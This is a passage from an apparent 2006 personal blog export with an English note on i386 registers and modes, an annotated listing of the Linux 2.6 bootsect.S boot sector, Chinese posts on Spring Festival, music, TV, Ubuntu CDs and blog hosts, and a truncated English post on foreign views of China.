mode) –\u0026gt; [Segmentation Unit] –\u0026gt; Liner Address(flat mode) –\u0026gt; [Paging Unit] –\u0026gt; Physical Address\nThe left real-address mode model uses the memory model for the Intel 8086 processor, the first ‘i386′ processor. The real-address mode uses a specific implementation of segmented memory in which the linear address space for the program and the operating system/executive consists of an array of segments, each of which is up to 64K bytes in size. The maximum size of the linear address space in real-address mode is 1M bytes.\nHere, we have to say something about the ‘operatiing mode’. the ‘i386′ processor supports three operating mode which determines which instructions and architectural features are accessible.\n(1) Protected mode\nIt is the native state of the processor. In this mode all instructions and architectural features are available, providing the highest performance and capability. This is the recommended mode for all new applications and operating systems. When in this mode, the processor can use any of the memory models described above. (The real-addressing mode memory model is ordinarily used only when the processor is in the virtual-8086 mode.)\n(2) Real-address mode\nThis mode provides the programming environment of the Intel 8086 processor with a few extensions (such as the ability to switch to protected or system management mode). The processor is placed in real-address mode following power-up or a reset. When in this mode, the processor only supports the real-address mode memory model. As we know the process of booting from disk is in this mode.\n(3) System management mode\nIt is unfamiliar to most of us. we have nothing to say.\n2. Registers\nThe registers in ‘i386′ processors can be grouped into three type: ‘general-purpose data registers’, ‘segment registers’ and ‘status and control registers’. Details as follows:\n(1) General-Purpose data registers\nThere are eight 32-bit registers available for general purpose, such as storing operands and pointers. In theory you can select any of them to do what you wanna do, but many instructions assign specific registers to hold operands. The following is a summary of these special uses:\nEAX – Accumulator for operands and results data.\nEBX – Pointer to data in the DS segment.\nECX – Counter for string and loop operations.\nEDX – I/O pointer.\nESI – Pointer to data in the segment pointed to by the DS register; source pointer for string operations.\nEDI – Pointer to data (or destination) in the segment pointed to by the ES register; destination pointer for string operations.\nESP – Stack pointer (in the SS segment).\nEBP – Pointer to data on the stack (in the SS segment).\n(2) Segment registers\nThere are six registers for holding segment selector which are a special pointer that identifies a segment in memory and all of these segment registers are 16-bit. To access a particular segment in memory, the segment selector for that segment must be present in the appropriate one of the segment registers. So, although a system can define thousands of segments, only 6 can be available for immediate use. Other segments can be made available by loading their segment selectors into these registers during program execution. Every segment register has a ‘visible’ part(16 bits in 32-bit platform) and a ‘hidden’ part. (The hidden part is sometimes referred to as a ‘descriptor cache’ or a ‘shadow register’.) When a segment selector is loaded into the visible part of a segment register, the processor also loads the hidden part of the segment register with the base address, segment limit, and access control information from the segment descriptor pointed to by the segment selector. Some load instructions such as ‘mov’, ‘pop’, etc explicitly reference the segment registers and other instructions such as ‘call’, ‘jmp’, or ‘ret’ change the contents of the CS register (and sometimes other segment registers) as an incidental part of their operation. How these segment registers are used depends on the type of memory accessing model that the operating system or executive is using.\nWe just mentioned ‘segment descripters’. A segment descriptor is a data structure in a GDT or LDT that provides the processor with the size and location of a segment, as well as access control and status information. Segment descriptors are typically created by compilers\n, linkers, loaders, or the operating system or executive, but not application programs.\n(3) Status and control registers\nThese registers report and allow modification of the state of the processor and of the program being executed. E.g. the 32-bit EFLAGS register contains a group of status flags, a control flag, and a group of system flags. Details as follows:\nCF – Carry Flag\nPF – Parity Flag\nAF – Auxiliary Carry Flag\nZF – Zero Flag\nSF – Sign Flag\nTF – Trap Flag\nIF – Interrupt Enable Flag\nDF – Direction Flag\nOF – Overflow Flag\nIOPL – I/O Privilege Level\nNT – Nested Task\nRF – Resume Flag\nVM – Virtual-8086 Mode\nAC – alignment Check(AC)\nVIF – Virtual Interrupt Flag\nVIP – Virtual Interrupt Pending\nID – ID Flag\nSome of the flags in the EFLAGS register can be modified directly using special-purpose instructions.\nThe ‘i386′ processor is so complex that we can not list all of its features here. If you are interested in it, you may read the thick enough ‘i386′ manuals to make all clear.\n","permalink":"https://tonybai.com/2006/02/09/inside-the-i386/","summary":"\u003cp\u003eThe term ‘i386′ in the title does not refer to the real Intel 80386 processor but the representative of Intel 32-bit architecture(IA32). I prefer ‘i386′ rather than ‘IA32′ just like what the linux kernel does, since you can find ‘i386′ folder in $(linux-2.6.x_dir)/arch directory. This artical describes some basic knowledge of ‘i386′, which may be kinda useful to those guys who wanna do research on or develop operating system.\u003c/p\u003e","title":"Inside the 'i386'"},{"content":"We know that the latest linux kernel version is 2.6.x, which is different from the ‘old kernels’ in booting. The ‘bootsect.S’, which used to make the kernel image in the floppy disk bootable in the early days, becomes useless in linux kernel 2.6.x today, although it is still a part of the kernel image.\nWe know that ‘bootsect.S’ is usu placed in the first 512 bytes of the kernel image and installed in the first sector of some medium on which the kernel image is installed. the mediums usu include hard disk (or the active partition of the hard disk) and floppy disk. As a minimal ‘bootloader’ included in kernel images of earlier linux versions up to the 2.4, the ‘bootsect.S’ is in duty bound to copy the left kernel image from medium to main memory when we boot linux from the floppy disk and then execute the loaded code in order to complete its mission. when we boot linux from hard disk, the ‘bootsect.S’ does nothing actively but to be checked by other booting routine stored in BIOS(Basic Input/Output System) or MBR(Master Boot Record). Today if you wanna boot linux 2.6.x from a floppy disk, you have to select a suitable bootloader yourself, just like that you boot linux from hard disk, since the ‘bootsect.S’ has retired.\nHere list the source code of ‘bootsect.S’ and some comments of mine. let us go and see what the retired ‘bootsect.S’ really does! (my comments usu occur following the symbol ‘!’)\n/*\n* bootsect.S Copyright (C) 1991, 1992 Linus Torvalds\n*\n* modified by Drew Eckhardt\n* modified by Bruce Evans (bde)\n* modified by Chris Noe (May 1999) (as86 -\u0026gt; gas)\n* gutted by H. Peter Anvin (Jan 2003)\n*\n* BIG FAT NOTE: We’re in real mode using 64k segments. Therefore segment\n* addresses must be multiplied by 16 to obtain their respective linear\n* addresses. To avoid confusion, linear addresses are written using leading\n* hex while segment addresses are written as segment:offset.\n*\n* ! $(linux-2.6.15.3_dir)/arch/i386/bootsect.S\n*/\n/* ! I found this header file in $(linux-2.6.15.3_dir)/include/asm-i386 */\n#include\n/*\n* ! DEF_INITSEG 0×9000\n* ! DEF_SYSSEG 0×1000\n* ! DEF_SETUPSEG 0×9020\n* ! DEF_SYSSIZE 0x7F00\n* ! These macros above are defined in ‘boot.h’ and\n* ! the values of the first three of them\n* ! used to be stored into ‘cs’ register\n*/\nSETUPSECTS = 4 /* default nr of setup-sectors */\nBOOTSEG = 0x07C0 /* original address of boot-sector */\nINITSEG = DEF_INITSEG /* we move boot here – out of the way */\nSETUPSEG = DEF_SETUPSEG /* setup starts here */\nSYSSEG = DEF_SYSSEG /* system loaded at 0×10000 (65536) */\nSYSSIZE = DEF_SYSSIZE /* system size: # of 16-byte clicks */\n/* to be loaded */\n/*\n* ! Here no matter what the ‘ROOT_DEV’ is is insignificant.\n* ! When kernel image builds, this ‘ROOT_DEV’ will be reset.\n* ! And so does ‘SWAP_DEV’.\n* ! ‘ROOT_DEV’ is variable which represents the type of the device\n* ! in which the root file system stores.\n* ! ‘ROOT_DEV = 0′ means the same type of floopy as boot. */\nROOT_DEV = 0 /* ROOT_DEV is now written by \u0026ldquo;build\u0026rdquo; */\nSWAP_DEV = 0 /* SWAP_DEV is now written by \u0026ldquo;build\u0026rdquo; */\n#ifndef SVGA_MODE\n#define SVGA_MODE ASK_VGA\n#endif\n#ifndef RAMDISK\n#define RAMDISK 0\n#endif\n#ifndef ROOT_RDONLY\n#define ROOT_RDONLY 1\n#endif\n/*\n* !Now we are running in 16-bit real mode, neither in\n* ! 32-bit real mode nor in 32-bit protected mode\n*/\n.code16\n.text\n.global _start\n_start:\n/*\n* ! jmpl is an ‘jump’ instruction which\n* ! jumps between segments.\n* ! the instruction below first stores the\n* ! immediate number ‘$BOOTSEG’ into ‘CS’\n* ! register and stores the address of label\n* ! ‘start2′ into ‘EIP’ register, and then jumps\n* ! to label ‘start2′ to execute.\n* ! Now, R[%cs] = $BOOTSEG = 0x07C0\n*/\n# Normalize the start address\njmpl $BOOTSEG, $start2\nstart2:\n/*\n* ! initialize some general registers\n* ! R[%ds] = R[%es] = R[%ss] = 0x07C0\n* ! R[%sp] = 0x7c00\n*/\nmovw %cs, %ax\nmovw %ax, %ds\nmovw %ax, %es\nmovw %ax, %ss\nmovw $0x7c00, %sp\n/*\n* ! sti – set the interrupt flag\n* ! cld – clear ‘df’(direction flag). after it executed,\n* ! string operations will increment the index\n* ! registers (si and/or di) that they use\n*/\nsti\ncld\n/*\n* ! store the address of ‘bugger_off_msg’\n* ! into register ‘si’(source-index register)\n*/\nmovw $bugger_off_msg, %si\n/*\n* ! this loop prints the ‘bugger_off_msg’ on screen\n* ! and jumps to ‘die’ label.\n*/\nmsg_loop:\n/*\n* ! lodsb loads ‘al’ register with single memory\n* ! byte at the position pointed to by ‘si’ register\n* ! after the executing, the ‘si’ is automatically\n* ! increased or decreased according to the ‘df’.\n*/\nlodsb\nandb %al, %al\njz die\nmovb $0xe, %ah\nmovw $7, %bx\nint $0×10\njmp msg_loop\n/*\n* ! the computer dies and you have to reboot.\n*/\ndie:\n# Allow the user to press a key, then reboot\nxorw %ax, %ax\n/*\n* ! int 16h – bios interrupt to give user\n* ! a chance to enter something from the keyboard\n*/\nint $0×16\nint $0×19\nint 0×19 should never return. In case it does anyway, # invoke the BIOS reset code…\nljmp $0xf000,$0xfff0\nbugger_off_msg:\n.ascii \u0026ldquo;Direct booting from floppy is no longer supported.\\r\\n\u0026rdquo;\n.ascii \u0026ldquo;Please use a boot loader program instead.\\r\\n\u0026rdquo;\n.ascii \u0026ldquo;\\n\u0026rdquo;\n.ascii \u0026ldquo;Remove disk and press any key to reboot . . .\\r\\n\u0026rdquo;\n.byte 0\nKernel attributes; used by setup /*\n* ! variables below are important since\n* ! they would be refered by ‘setup.S’\n* ! the total size of these variables is\n* ! 15 bytes, 497 + 15 = 512 * ! the last word is ’0xAA55′, which indicates\n* ! this is a boot sector\n*/\n.org 497\nsetup_sects: .byte SETUPSECTS\nroot_flags: .word ROOT_RDONLY\nsyssize: .word SYSSIZE\nswap_dev: .word SWAP_DEV\nram_size: .word RAMDISK\nvid_mode: .word SVGA_MODE\nroot_dev: .word ROOT_DEV\nboot_flag: .word 0xAA55\n/* ! end of bootsect.S */\nThus, we know that the retired ‘bootsect.S’ only tells us it has retired.\n","permalink":"https://tonybai.com/2006/02/08/retired-bootsect/","summary":"\u003cp\u003eWe know that the latest linux kernel version is 2.6.x, which is different from the ‘old kernels’ in booting. The ‘bootsect.S’, which used to make the kernel image in the floppy disk bootable in the early days, becomes useless in linux kernel 2.6.x today, although it is still a part of the kernel image.\u003c/p\u003e","title":"Retired 'bootsect.S'"},{"content":"每年春节都有一些新鲜事发生，这不我就看到这么一则消息说的是一些单身的’大龄青年’在过传统的佳节-春节时选择’隐身’，我们都听过乐在春节，玩在春节，吃在春节等，可这’隐’在春节又是怎么一码子事呢，我们一起来寻思寻思^_^。\n媒体记者采访这些’隐士’后得出他们’隐’的原因有二：这一是为了’逃离’亲戚朋友的好心’拉郎配’；这二呢周围的同学朋友家里已经是’娃娃满堂’，大过年的看到孩子后怎能不’压岁’呢，所以为了节省’压岁钱’开资’，也要’隐’起来呀。\n说到这里我也不能不说说这’大龄青年’的问题，’大龄青年’这在我们的上一辈中还是屡见不鲜的，原因多数都是因为文化大革命、上山下乡耽误了他们。但是现在这些干扰都不存在了，如何又出现了诸多做’隐士’的大龄青年呢？作为同样的青年人’同理心’的考虑一下，其实也不难得出几点结论，呵呵，下面是我的一些’粗知浅解’，想到哪就顺笔写出了^_^：\n从微观细致之处分析，首先激烈的社会竞争，使那些刚刚有些事业成就感的人无暇顾及个人情感，天天’两点一线’的往返于住所与单位之间更加使他们少了诸多接触异性的机会，加班加点的干活或多或少使他们产生了一些’自闭’的性格。工作上的’绿洲’和个人情感的’荒漠化’形成了鲜明的对比；其次社会风气使然，贫富差距的拉大使这个社会多了些浮躁、攀比、享乐之风，看看某某替朋友征友的帖子，’房子’、’车子’均赫然在列。这些都使得年轻人的情感中少了些真情实意，却多了些’铜臭’味，但这就是现实。这些现实让很多有过失败’情感’经历的人感到灰心、失望甚至是伤心，以致于最严重的他们选择了’退出’-单身一辈子，这些人不在少数。到底是’情感’击败’现实’，还是’现实’俘获’情感’，这份答卷估计只有时间能告诉我们。希望那些过于看重’现实’的青年看看那部潘长江演的电影’杨德才征婚’，去找回一些深藏在内心深处的一些东西。\n而从宏观大局上说’人口性别比例的失衡’，也就是我们老百姓常说的’男多女少’也在背后捣着鬼。中国自古以来的老信条’养儿防老’、’传宗接代’仍然在影响着一些人，特别是在农村地区，总是有些家庭有着那股’不生男娃誓不罢休’的’气势’。再这样下去也许在将来过春节时我们会看到愈来愈多的’隐士’了。\n","permalink":"https://tonybai.com/2006/02/06/be-undertone-in-the-chinese-new-year/","summary":"\u003cp\u003e每年春节都有一些新鲜事发生，这不我就看到这么一则消息说的是一些单身的’大龄青年’在过传统的佳节-春节时选择’隐身’，我们都听过乐在春节，玩在春节，吃在春节等，可这’隐’在春节又是怎么一码子事呢，我们一起来寻思寻思^_^。\u003c/p\u003e","title":"“隐”在春节"},{"content":"过了初一，’年’对于我来说就再也没什么值得期待的了。从小到大我过年的过程都是那么循规蹈矩，按部就班，20多年了我也没过过什么有新意的年。提及’年文化’有些夸大，充其量只是自己对自己的过年经历的一些思考罢了(这样的思考一般都具有一定的历史局限性^_^)。\n可以肯定的是每个中国人对’年’的经历和感受都不同。总结了一下自己所过的20多个年，按照时间顺序大致分为这么3个阶段：\n(1)’盼年’\n解释一下什么是’盼年’，相信大部分人在孩提时都会有和我一样的感受，那个时间段大概是自懂事起到小学4年级左右，对于男孩子来说那可是一个’淘气’的黄金时代。’年’对于处于这个年龄段的人有着绝对的吸引力，都是’年’的Fans，小女孩儿盼着过年能穿上色彩缤纷的花衣裳，小男孩儿们的盼头就更多了，除了需要漂亮衣服’装靓’外，美食、爆竹和压岁钱一个都不能少。长辈们都说’年’就是给小孩儿过的，当时很是不理解。\n(2)’淡年’\n自从进入初中、高中，一直到升入大学，我就一直处于’淡年’阶段。随着中国社会快速的发展，人们的生活水平逐渐提高了。人们在过年的时候逐渐开始变得迷茫了，原来的’年’的乐趣变得不再那么有趣，人们开始逐渐失去了对’年’的兴趣。这个阶段爆竹、美食等已不再具有那么大的吸引力了，’年’唯一的作用就是让我有机会多多体味一些’亲情’。\n(3)’思年’\n这里的’思’不是思念的思，而是’思考’的思。自从工作以后，多了些社会经历，也多了些对事物的思考。’年’究竟给我们带来了什么？不可否认的是浓浓的’亲情、友情和爱情’，但是也有’年’给我们带来的一些不和谐，如物价涨、交通挤和一些落后文化的抬头。中国’年’可谓是世界最大的人口迁移运动、最壮观的一个’焰火’之夜、最丰盛的一顿集体会餐，同时也是对国民道德和文化的一次大考，至于这次大考的成绩如何，这就要看我们自己的回答了。\n‘年’是传统文化的结晶，在’年’中自然少不了一些’传统’的东西，而在很多现代人眼中，这些传统很多都已经归入了’陈规陋习’的行列，而一些现代人的前卫’活法’也让老人看起来那么别扭。这就带来了两代人在一些文化价值观上的不和谐甚至是矛盾，包括我在内的很多人都有过如此经历。一个和谐的’年文化’是我们一直梦寐以求的，但是这个目标不应该只是停留在口头上，而是要付诸于行动中的。\n","permalink":"https://tonybai.com/2006/02/06/appreciate-the-culture-of-spring-festival/","summary":"\u003cp\u003e过了初一，’年’对于我来说就再也没什么值得期待的了。从小到大我过年的过程都是那么循规蹈矩，按部就班，20多年了我也没过过什么有新意的年。提及’年文化’有些夸大，充其量只是自己对自己的过年经历的一些思考罢了(这样的思考一般都具有一定的历史局限性^_^)。\u003c/p\u003e","title":"体味“年文化”"},{"content":"临近春节大多数人都沉浸在喜庆气氛之中，歌手们也趁着这个时候忙里偷闲，所以在这个正月新专辑不多，这里我挑了几首我最近在听的老歌说说。\n这里首先要说的是阿桑的’一直很安静’，以前只是听说过有阿桑这么一号人物，却不曾听过她的作品(也许听过但不知道就是阿桑的^_^)。一次偶然的机会听到这首醇美的歌曲，略微舒缓的节奏和阿桑那如清泉般甘甜的嗓音瞬间就征服了我的耳朵。我一口气听了不下10遍。这是一首’诉衷肠’的歌，基调是伤感的，但我相信真正为情伤感的人细细聆听这首歌后都会有一种真正的’心静’之感。\n公司内网上有人推荐信乐团的’海阔天空’，在网上搜索后发现该乐队的’死了都要爱’一歌要更加’火爆’。这首歌的开场白很具特色，一开场就用高音演绎这在音乐作品并不多见，而该曲的一句高音开场的’死了都要爱’给人以心灵的震撼。从歌名也可以看出这是一首\u0026quot;对爱情的执著不渝\u0026quot;的歌，主唱Shin以其带有极深、极广穿透力的嗓音向人们诠释着’爱到沸腾才精采’的信念。\n一进入’岁岁年年’的小窝主页，就能听到一首拉丁风格的单曲，吉他音后面一个男子在独白。他就是Enrique Iglesias，而这首歌就是’Hero’。这位在我们看来起着很怪名字的男孩年纪轻轻却已是一座葛莱美奖和12首冠军歌曲的得主，才华横溢的他也是近10多年来拉丁音乐领域最炙手可热的人物。’Hero’这首歌让我第一次感受到这个拉美天王的天籁之音，不能不佩服其唱功的精湛，歌曲中每一处细节都是那么的清晰和处理得当，曲调抑扬顿挫，词曲相得益彰。抒情恰到好处，高潮处激情澎湃，可以说拥有了经典歌曲所该具备的所有元素。听完后你一定会从’Hero’一曲中感受到一个真实英雄的存在 — Enrique Iglesias。\n","permalink":"https://tonybai.com/2006/01/24/recommend-music-of-2006-01/","summary":"\u003cp\u003e临近春节大多数人都沉浸在喜庆气氛之中，歌手们也趁着这个时候忙里偷闲，所以在这个正月新专辑不多，这里我挑了几首我最近在听的老歌说说。\u003c/p\u003e\n\u003cp\u003e这里首先要说的是阿桑的’一直很安静’，以前只是听说过有阿桑这么一号人物，却不曾听过她的作品(也许听过但不知道就是阿桑的^_^)。一次偶然的机会听到这首醇美的歌曲，略微舒缓的节奏和阿桑那如清泉般甘甜的嗓音瞬间就征服了我的耳朵。我一口气听了不下10遍。这是一首’诉衷肠’的歌，基调是伤感的，但我相信真正为情伤感的人细细聆听这首歌后都会有一种真正的’心静’之感。\u003c/p\u003e","title":"2006正月靓乐"},{"content":"明天就要回家过春节了，回家期间由于上网不便，估计近两个星期要暂时告别blog了，不过我会坚持写的，等春节后再贴出来。\n一整年都在不间断地忙忙碌碌着，一个项目接着一个项目，以至于带薪年假都没有休。整个部门的节奏可以用’不温不火’来形容，既不像外包部门那样的半夜加班、节假日出差，也不像效益差部门那样一天无事可做。究其原因很简单部门业务’平稳’发展。就像一位搞外包的同事对我说的’看你的blog经营的状态就知道你一天生活的很清闲’。我又何尝不想忙碌呢，我也知道轻松的环境下会让人产生惰性，失去上进的动力，所以每天早起都暗示自己保持激情。\n好了，大过年的就不说这些’烦心’事。过年最大的难题就是回家该带点啥。冥思苦想后决定还是带钱吧，呵呵。其次过年期间干些什么呢？除了必要的吃吃喝喝外，其余时间也不能虚度呀，赋闲在家，百无聊赖可不是我的风格。所谓放假也就是那么一说，作为我们IT人这可是充电的大好时机，加上我们公司的假期还不算短，看书吧。遂给自己制定了一个读书计划，书目不少，但不知道能真正读进去几本，管他呢。有计划总比没有好，有时候也总抱怨自己的执行力太差劲，但这也不是一时半会儿就能解决的问题，能看多少看多少吧。\n回家就要多陪陪父母，这我早就想好了，近3个月没回家了，这次一定要在’自己家’多待上几天，不能再到处乱窜门了^_^。就写到这儿了，最后还是送个祝福吧: 春节快乐，狗年旺旺吧!\n","permalink":"https://tonybai.com/2006/01/24/go-home-for-spring-festival/","summary":"\u003cp\u003e明天就要回家过春节了，回家期间由于上网不便，估计近两个星期要暂时告别blog了，不过我会坚持写的，等春节后再贴出来。\u003c/p\u003e\n\u003cp\u003e一整年都在不间断地忙忙碌碌着，一个项目接着一个项目，以至于带薪年假都没有休。整个部门的节奏可以用’不温不火’来形容，既不像外包部门那样的半夜加班、节假日出差，也不像效益差部门那样一天无事可做。究其原因很简单部门业务’平稳’发展。就像一位搞外包的同事对我说的’看你的blog经营的状态就知道你一天生活的很清闲’。我又何尝不想忙碌呢，我也知道轻松的环境下会让人产生惰性，失去上进的动力，所以每天早起都暗示自己保持激情。\u003c/p\u003e","title":"回家过年啦"},{"content":"最近中央八套的一部不起眼的古装室内剧’武林外传’居然在观众中引起不小反响，我虽只看过其中几集，没有绝对的发言权，但是我还是管不住自己的嘴要说说。我觉得’武林外传’一剧是无哩头搞笑形式的一种延续，在结合了当前社会的一些时尚媒体元素后，自然而然地给观众带来了一些’捧腹’的笑料。\n早先听说八套要播出’武剧’，我还以为央视要重播以前那个曾经在多个地方台播出的’武林外史’呢，后来才知道原来是自己混淆剧名了。’武剧’让我们认识了六个活宝似的人物：退役的’江洋大盗’并操着一口东北话的白展堂、千娇百媚陕西口音严重的的老板娘佟湘玉、颇有些男子气的郭芙蓉、缺少阳刚的吕秀才、想做女捕头的祝无双还有那个’能吃会道’的伙计李大嘴。这一切首先让我想起来的就是曾经在美国风靡一时的肥皂剧’Friends’，同样的六个人，同样三男三女，不一样的故事情节，但相同的效果：捧腹之笑。\n‘武’剧的收视率在最近一段时间内居高不小与其独特的带有大陆特色的无哩头搞笑形式是分不开的。在最近曾听到’中国之声’栏目的老梁的一段评论，老梁说他自己很反对’寓教于乐’这种说法，说当今快节奏的社会，每个人带着一天的疲惫回到家中，打开电视就想看看轻松的充满笑料的节目来缓解压力，而很多电视节目属于’寓教于乐’型，结果是’教也没教好，乐也没乐起来’，很是失败。’武’剧则不肩负’教’的义务，所以大家都爱看也就无可厚非了。\n年初中央在谈创新，倡导创新。’武’剧迎合了这个潮流，可谓影视界的一个小小的创新尝试。首先就是其属于室内情景喜剧，但又是古装剧，不知道大家看过类似的电视剧否，反正我是’闻所未闻’；另外一个不知道称不称得上创新的一点就是其章回体的剧情结构，当然这也和它的古装剧情有联系的；再一个就是’武’剧没有武指(武术指导)，这虽谈不上创新，但却是个’标新立异’的另类。\n无论怎样，该剧在现在这样一个喜庆祥和的时间段上映，可谓是占尽了天时地利人和了。能给人们带来发自内心的欢笑这就足够了，我个人支持’武’剧将无哩头进行到底。\n","permalink":"https://tonybai.com/2006/01/23/insist-on-loony-tone/","summary":"\u003cp\u003e最近中央八套的一部不起眼的古装室内剧’武林外传’居然在观众中引起不小反响，我虽只看过其中几集，没有绝对的发言权，但是我还是管不住自己的嘴要说说。我觉得’武林外传’一剧是无哩头搞笑形式的一种延续，在结合了当前社会的一些时尚媒体元素后，自然而然地给观众带来了一些’捧腹’的笑料。\u003c/p\u003e","title":"将无哩头进行到底"},{"content":"一个月以前在Ubuntu上订购了Ubuntu Linux 5.10发行版，今天终于拿到手了^_^。\n在Linux发行版世界，大家最熟悉的几种发行版包括RedHat(或其开源版Fedora)、Debian、SuSE等，提到Ubuntu这个奇怪的名字大家都会感到陌生，在一个多月前我也不例外。Ubuntu是一个基于Debian的Linux操作系统发行版，它完全免费，这次我收到的Ubuntu光盘就是在其官方网站上免费订购的。一次偶然的机会在’Ubuntu中文论坛‘得知Linux世界还有Ubuntu这个发行版的存在，并且可以免费寄送光盘介质，当时的我非常希望手中能有张Linux正式发行版光盘，曾经考虑过Fedora，但是由于缺少刻录条件放弃了。Ubuntu恰好让我的愿望得到满足。当时还有一个担心就是Ubuntu不是主流发行版，是否影响自己在Linux上的体验呢？我Google了一下，发现自己大可不必为此担忧，Ubuntu在Linux社区中的口碑还是很好的，而且还获得了’Linux Journal‘杂志评选出的’2005最佳Linux发行版’奖。\n经过漫长的等待(大约一个月)，终于在上周三收到了邮局的国际包裹通知单，第一次收到外国寄来的东东心里还是蛮兴奋的。上周日兴致勃勃地去邮局取，到了之后才发现自己忘带身份证了，真是郁闷呀。就算好事多磨吧。今天终于看到了那个包裹，沉甸甸的，因为自己订了10张PC版、3张64-bitPC版和2张Mac版，不是我贪婪哟，在订购的时候，Ubuntu提示你订一份和订多份的邮寄成本没差多少，建议你多订几份。就因为这样，’Ubuntu中文论坛‘上专门设立了’分享区’以让那些订购了多份光盘的人可以分享出自己的订购成果。如果条件允许的话，我的多余光盘也是可以分享的，但起码要和我在一个城市，呵呵^_^。\n由于我的本本硬盘空间太小，所以还不能马上进行我的Ubuntu体验，真遗憾呀！正在计划购入一大容量本本硬盘，所以只能等春节后再Share Experience吧!\n","permalink":"https://tonybai.com/2006/01/23/got-the-ubuntu-disc/","summary":"\u003cp\u003e一个月以前在Ubuntu上订购了Ubuntu Linux 5.10发行版，今天终于拿到手了^_^。\u003c/p\u003e\n\u003cp\u003e在Linux发行版世界，大家最熟悉的几种发行版包括RedHat(或其开源版Fedora)、Debian、SuSE等，提到Ubuntu这个奇怪的名字大家都会感到陌生，在一个多月前我也不例外。\u003ca href=\"http://ubuntulinux.org/\"\u003eUbuntu\u003c/a\u003e是一个基于Debian的Linux操作系统发行版，它完全免费，这次我收到的Ubuntu光盘就是在其官方网站上免费订购的。一次偶然的机会在’\u003ca href=\"http://forum.ubuntu.org.cn/index.php\"\u003eUbuntu中文论坛\u003c/a\u003e‘得知Linux世界还有Ubuntu这个发行版的存在，并且可以免费寄送光盘介质，当时的我非常希望手中能有张Linux正式发行版光盘，曾经考虑过Fedora，但是由于缺少刻录条件放弃了。Ubuntu恰好让我的愿望得到满足。当时还有一个担心就是Ubuntu不是主流发行版，是否影响自己在Linux上的体验呢？我Google了一下，发现自己大可不必为此担忧，Ubuntu在Linux社区中的口碑还是很好的，而且还获得了’\u003ca href=\"http://www.linuxjournal.com/\"\u003eLinux Journal\u003c/a\u003e‘杂志评选出的’2005最佳Linux发行版’奖。\u003c/p\u003e","title":"收到Ubuntu光盘"},{"content":"公司内网上的一个帖子让我想起了写这样一个话题，自己写Blog的历史也有一年半了，其间体验过多个Blog站点，这里说说体会，为那些开始想要写Blog的人提供些参考。\n‘博客巴士’是我的第一个Blog站点，也是我最喜欢的一个国内Blog站点，而且目前仍然作为我的主力站点。最开始写Blog时，选择Blog站点很随意，Blogbus就是当时dreamhead介绍给我的。说实话，当时的Blogbus还处于起步阶段，站点访问速度很慢，功能也不够强大。甚至有很长一段时间Blogbus根本就访问不了，也就是在那个时候Blogbus损失了好多忠实blogger。那时我也准备迁移我的blog，并在’博客网’也就是以前的’博客中国’申请了自己的第二个Blog站点。在漫长的等待和尝试后，Blogbus终于恢复了，而且系统升级到了2.0，采用静态页面发布技术，访问速度超快，功能上也逐渐丰富，支持tag、群组等，其清新简洁的界面真是让我’爱不释目’，不久后Blogbus又升级到3.0，这以后一直到目前还没有发生大的’事故’。Blogbus简单清爽快捷，这就是我喜欢它的原因，我也向大家首推Blogbus。\n在Blogbus’瘫痪’的那段时间，我曾经寄宿在’博客网’，当时的博客网无论在访问速度还是在功能上都还不错，我也曾想过在’博客网’扎根，看着博客网一天天的发展，博客网日益臃肿，其主页上充斥着大量的垃圾信息，让我从心底产生了一丝反感，感觉现在的博客网倒像是一个不合格的门户，真不知道博客网到底要走什么样的路。\n提到IT技术Blog我们不能不提到国内最大的程序员网站CSDN提供的Blog。由于以前有CSDN的账户，经过简单操作就可以获得一个CSDN Blog空间。早期的CSDN Blog速度简直就像蜗牛，每天都看到论坛上对其的抱怨文字，我用了不到2星期，就彻底放弃了。这只是我早期的一些使用经历，听说现在的CSDN Blog也已经改进，而且作为国内最具影响力的IT技术网站，其访问量还是可观的，对于想写技术Blog的人这还是有一定吸引力的。\n微软作为IT业巨头也没有忽视Blog的作用，它也提供了其Blog服务 – ‘MSN SPACES‘，只不过想访问微软的MSN SPACES必须有微软的Passport，看来微软在态度上显然不那么开放。对比其他的Blog服务提供商，’MSN SPACES’更加重视图片、音频和视频的服务。如果你是一个喜欢展示你个人靓照的人，MSN SPACES的相册空间足能满足你的需求。\n有一段时间特想写英文Blog，恰好那时自己又在研究Java，遂到JRoller申请了一个空间。JRoller是一个Java Blogger的集散地，很多知名Java人都在此有足迹，如’Rickard Oberg‘等。我使用JRoller时唯一的不便之处就是其提供的Blog编辑器不是’所见即所得’的，你需要自己插入html符号来格式化你的文章内容。\n‘Blogger’是世界上最早的Blog站点之一，用户量庞大。好像是在去年被Google收购了，本想在’Blogger’申请一个空间，但是发现自己总是访问不了’Blogger’中的Blog，总提示’Redirect to xxx.blogspot.com’，然后就静止不动了，真是遗憾。\n‘Bloglines‘是我最近才发现并决定扎根的英文Blog站点，’Bloglines’不仅仅是一个单纯的Blog站点，它的独特之处在于它提供在线Feeds订阅功能，而以前我自己都是利用一些’新闻订阅客户端’程序来完成类似事情的，就这一点就可以让我立刻喜欢上它。\n以上罗列的就是我所接触过的Blog站点，当然国内外Blog站点繁多，像国内的Blogdriver、Blogcn等由于我没有使用过而并未提及。\n未写过blog的人总会问一个问题’为什么要写blog’?，如果让我来回答的话，我会说’它是我生活的一部分，就好比衣食住行’。\n","permalink":"https://tonybai.com/2006/01/18/choose-blog-service-provider/","summary":"\u003cp\u003e公司内网上的一个帖子让我想起了写这样一个话题，自己写Blog的历史也有一年半了，其间体验过多个Blog站点，这里说说体会，为那些开始想要写Blog的人提供些参考。\u003c/p\u003e","title":"选择Blog站点"},{"content":"Last night I watched the ‘Dialogue’ , which is a very pop ‘talk show’ TV program of CCTV2. the topic of this issue is ‘how to make the world know China’. Zhao Qi-zheng and He Dele were invited as honored guests.\nSo far, China has become the 6th largest economic entity in the world. but how much on earth does the world know China? I have been in BBC Learning English discusion group for several months and there was a topic on China last November. People from other place of the world, most of which did not come to China, told their impression of China. In their mind, China is a large country with huge population, long history and it is a socialism country in which people are lack of political freedom and not well educated. Some people even do not know the relationship among Mainland, Taiwan, Hongkong and Macao. During the ‘Dialogue’, a guest told us a story. he said when he first arrived in America, an american told him he was not like a Chinese. he was amazing and asked the american why he felt like that. the american said Chinese should wear gown like the actor in the movie \u0026ldquo;Crouching Tiger, Hidden Dragon\u0026rdquo;.\nall that above make a conclusion that the world does not know China enough or the world has a misunderstanding of China in some fields. Zhao Qi-zheng said the reason why the world know less of China is not simple. First of all, the Chinese character is difficult to study and understand. Compared to other characters in the world, Chinese charactor has more implications, which makes the traslation more hard and less accurate. Secondly, some media reports are not based on fact. The media here is a word in general, which includes TV, radio, paper, movie, internet and so on… For the some benefit 